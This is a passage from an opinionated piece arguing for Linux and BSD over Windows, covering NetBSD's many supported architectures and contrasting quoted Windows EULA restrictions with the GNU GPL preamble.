Windows currently will only run on 32-bit and 64-bit Intel-compatible processors. M*cro$oft had produced Alpha, MIPS, and PowerPC ports of Windows NT at one time, but they have been discontinued for quite some time. Linux and BSD, on the other hand, run on dozens of different architecture types ranging from your normal Intel-compatible desktop system to mainframe systems. In fact, NetBSD is the most portable operating system in the world supporting the following architectures: acorn26, acorn32, algor, alpha, amd64, amiga, amigappc, arc, arm32, atari, bebox, cats, cesfic, cobalt, dreamcast, evbarm, evbmips, evbppc, evbsh3, evbsh5, ews4800mips, hp300, hp700, hpcarm, hpcmips, hpcsh, i386, ibmnws, iyonix, luna68k, mac68k, macppc, mipsco, mmeye, mvme68k, mvmeppc, netwinder, news68k, newsmips, next68k, ofppc, pc532, playstation2, pmax, pmppc, prep, sandpoint, sbmips, sgimips, sh3, sh5, shark, sparc, sparc64, sun2, sun3, vax, x68k, xen

While you may not know what half of the architectures NetBSD supports are, they might be found all over the world in businesses, schools, hospitals, retail industry, factories - NetBSD can be used anywhere. You may have even used a NetBSD-powered machine today!

#1 - Linux and BSD give you complete freedom to do what the hell you want with your system.
Have you read M*cro$oft's End User Licensing Agreement? I didn't think so, not many people have. It's the software agreement you have to accept in order to use M*cro$oft's products but most people just click the "I ACCEPT" button and move on. The EULA limits your rights to use your software and your system in any manner that you wish. In fact, you don't own the copy of Windows on your system - M*cro$oft is merely granting you use of Windows: "The Software is licensed, not sold."

Some of Microsoft's EULA limitations that you must agree to include:
"[you] may not without Microsoft's prior written approval disclose to any third party the results of any benchmark test"

Do you own a dual core or multiprocessor system? You are in violation of Windows XP Home's EULA:
"The Software may not be used by more than one processor at any one time on any single Workstation Computer"

Want to sell your computer to someone else? The new owner can't sell it again:
"The initial user of the Software may make a one-time permanent transfer of this EULA and Software to another end user, provided the initial user retains no copies of the Software."

Now take a look at the software license that governs Linux systems:
" The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

It protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.

Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all."

Upon reading the software license for both Windows and Linux you can see the philosophical standpoint of both software systems. Windows wants to limit you and treat you like a criminal. Linux wants to give you the freedom to use your system how you want to use it, give it away and copy it as often as you'd like. This is the bottom line:

Linux offers freedom.